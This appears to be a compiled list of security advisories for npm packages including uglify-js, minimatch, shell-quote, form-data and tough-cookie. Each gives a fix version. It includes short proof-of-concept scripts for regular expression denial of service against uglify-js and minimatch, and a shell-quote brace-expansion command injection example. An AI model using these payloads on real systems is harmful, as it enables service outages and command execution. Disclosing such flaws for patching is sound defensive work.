Version Details and Security Vulnerabilities

Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.

Proof of Concept

var u = require('uglify-js');
var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}

u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");

Results

$ time node test.js 10000
real	0m1.091s
user	0m1.047s
sys	0m0.039s

$ time node test.js 80000
real	0m6.486s
user	0m6.229s
sys	0m0.094s

Recommendation

Update to version 2.6.0 or later.

Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).

Proof of Concept

var minimatch = require(“minimatch”);

// utility function for generating long strings
var genstr = function (len, chr) {
  var result = “”;
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}

var exploit = “[!” + genstr(1000000, “\\”) + “A”;

// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);

Recommendation

Update to version 3.0.2 or later.

A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.

Affected versions of shell-quote do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.

Proof of Concept:

The following characters are not escaped properly: >,;,{,}

Bash has a neat but not well known feature known as "Bash Brace Expansion", wherein a sub-command can be executed without spaces by running it between a set of {} and using the , instead of to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible.

   const quote = require('shell-quote').quote;
   console.log(quote(['a;{echo,test,123,234}']));
   // Actual                    "a;{echo,test,123,234}"
   // Expected                  "a\;\{echo,test,123,234\}"
   // Functional Equivalent     "a; echo 'test' '123' '1234'"

Recommendation

Update to version 1.6.1 or later.

Versions of the package chromedriver before 119.0.1 are vulnerable to Command Injection when setting the chromedriver.path to an arbitrary system binary. This could lead to unauthorized access and potentially malicious actions on the host system.

Note:

An attacker must have access to the system running the vulnerable chromedriver library to exploit it. The success of exploitation also depends on the permissions and privileges of the process running chromedriver.

The request package through 2.88.2 for Node.js and the @cypress/request package prior to 3.0.0 allow a bypass of SSRF mitigations via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).

NOTE: The request package is no longer supported by the maintainer.

Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

1. can observe other values produced by Math.random in the target application, and
2. can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

• Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)
• Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

Versions of the package tough-cookie before 4.1.3 are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. This issue arises from the manner in which the objects are initialized.

A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.